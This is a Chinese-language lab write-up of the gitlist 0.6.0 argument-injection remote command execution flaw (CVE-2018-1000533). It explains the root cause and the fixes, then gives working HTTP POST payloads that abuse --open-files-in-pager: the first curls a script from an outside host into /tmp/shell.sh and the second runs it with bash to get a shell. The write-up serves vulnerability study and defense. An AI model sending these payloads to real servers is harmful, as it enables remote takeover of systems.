1. 程式人生 > 其它 >gitlist 0.6.0 遠端命令執行漏洞(CVE-2018-1000533)

gitlist 0.6.0 遠端命令執行漏洞(CVE-2018-1000533)

gitlist是一款使用PHP開發的圖形化git倉庫檢視工具。在其0.6.0版本及以前,存在一處命令引數注入問題,可以導致遠端命令執行漏洞。

環境搭建

執行如下命令啟動漏洞環境:

docker-compose up -d

環境啟動後,訪問http://your-ip:8080將看到一個名為example的倉庫。

漏洞原理

在使用者對倉庫中程式碼進行搜尋的時候,gitlist將呼叫git grep命令:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

其中,$query是搜尋的關鍵字,$branch是搜尋的分支。

如果使用者輸入的$query的值是--open-files-in-pager=id;,將可以執行id命令:

導致這個漏洞的原因,有幾點:

  1. 開發者對於escapeshellarg函式的誤解,造成引數注入
  2. git grep的引數--open-files-in-pager的值,將被直接執行

理論上,在經過$query = escapeshellarg($query);處理後,$query將變成一個由單引號包裹的字串。但不出漏洞的前提是,這個字串應該出現在“引數值”的位置,而不是出現在引數選項(option)中。

我們可以試一下如下命令:

git grep -i --line-number -e '--open-files-in-pager=id;' master

如上圖,我將$query放在了-e引數的值的位置,此時它就僅僅是一個字串而已,並不會被當成引數--open-files-in-pager

這應該作為本漏洞的最佳修復方法,也是git官方對pattern可能是使用者輸入的情況的一種解決方案(以下說明來自man-page):

-e The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by or.

當然,gitlist的開發者用了另一種修復方案:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

首先用preg_replace-開頭的非法字元移除,然後將$query放在--的後面。在命令列解析器中,--的意思是,此後的部分不會再包含引數選項(option):

A -- signals the end of options and disables further option processing. Any arguments after the -- are treated as filenames and arguments. An argument of - is equivalent to --.

If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash's exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.

舉個簡單的例子,如果我們需要檢視一個檔名是--name的檔案,我們就不能用cat --name來讀取,也不能用cat '--name',而必須要用cat -- --name。從這個例子也能看出,單引號並不是區分一個字串是“引數值”或“選項”的標準。

所以官方這個修復方案也是可以接受的,只不過第一步的preg_replace有點影響正常搜尋功能。

漏洞復現

傳送如下資料包:

POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56

query=--open-files-in-pager=curl http://192.168.75.150:8888/shell.txt -o /tmp/shell.sh;

其中,我們訪問的是/example/tree/a/search,example是專案名稱,需要是目標gitlist上一個已存在的專案;a在正常情況下應該是分支的名稱,也就是"grep -i --line-number {$query} $branch"中的$branch,但因為我們的$query被當成了一個引數,所以$branch就應該被當做搜尋的關鍵字。

如果沒有搜尋結果的話,我們的命令是不會被執行的,所以我用了“a”這個關鍵字,只是為了保證能搜出結果,你也可以換成其他的試試。

反彈Shell成功

POST /example/tree/a/search HTTP/1.1
Host: 192.168.75.150:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 52

query=--open-files-in-pager=/bin/bash /tmp/shell.sh;